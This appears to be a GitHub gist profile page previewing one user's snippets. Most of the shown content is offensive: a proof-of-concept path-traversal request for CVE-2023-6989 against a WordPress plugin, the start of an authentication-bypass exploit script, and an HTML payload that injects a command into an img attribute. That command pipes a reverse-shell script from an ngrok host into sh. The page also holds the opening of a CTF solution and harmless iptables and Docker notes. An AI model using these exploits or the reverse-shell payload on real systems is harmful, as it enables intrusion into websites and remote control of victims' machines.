Skip to content

Instantly share code, notes, and snippets.

View hatunaa's full-sized avatar
:octocat:
bug

Dinh Van Tuan hatunaa

:octocat:
bug
View GitHub Profile
@hatunaa
hatunaa / CVE-2023-6989.py
Last active March 15, 2024 07:41
CVE-2023-6989 POC
import requests
url = 'https://redacted/wordpress/wp-admin/admin-ajax.php'
data = {
'action': 'shield_action',
'ex': 'generic_render',
'exnonce': '{redacted_exnonce}',
'render_action_template': '../../icwp-wpsf.php'
}
File config: /etc/sysconfig/iptables
Edit /etc/sysconfig/iptables, enter:
# vi /etc/sysconfig/iptables
You will see default rules as follows:
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
#!/usr/bin/env python3
import argparse
import requests
import json
from urllib.parse import quote
from pwn import remote, log
def authn_bypass(base, additional_data=''):
@hatunaa
hatunaa / 3k.html
Last active October 18, 2022 13:58
<img src="";curl https://reverse-shell.sh/0.tcp.ngrok.io:10816 | sh; #">
@hatunaa
hatunaa / Docker shell commands.sh
Created August 25, 2022 17:21 — forked from bahmutov/Docker shell commands.sh
A personal cheat sheet for running local Node project in a Docker container
# See list of docker virtual machines on the local box
$ docker-machine ls
NAME ACTIVE URL STATE URL SWARM DOCKER ERRORS
default * virtualbox Running tcp://192.168.99.100:2376 v1.9.1
# Note the host URL 192.168.99.100 - it will be used later!
# Build an image from current folder under given image name
$ docker build -t gleb/demo-app .
@hatunaa
hatunaa / lsempty.go
Last active August 29, 2021 15:07
LS EMPTY, GoogleCTF 2021
package main
import (
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"sync"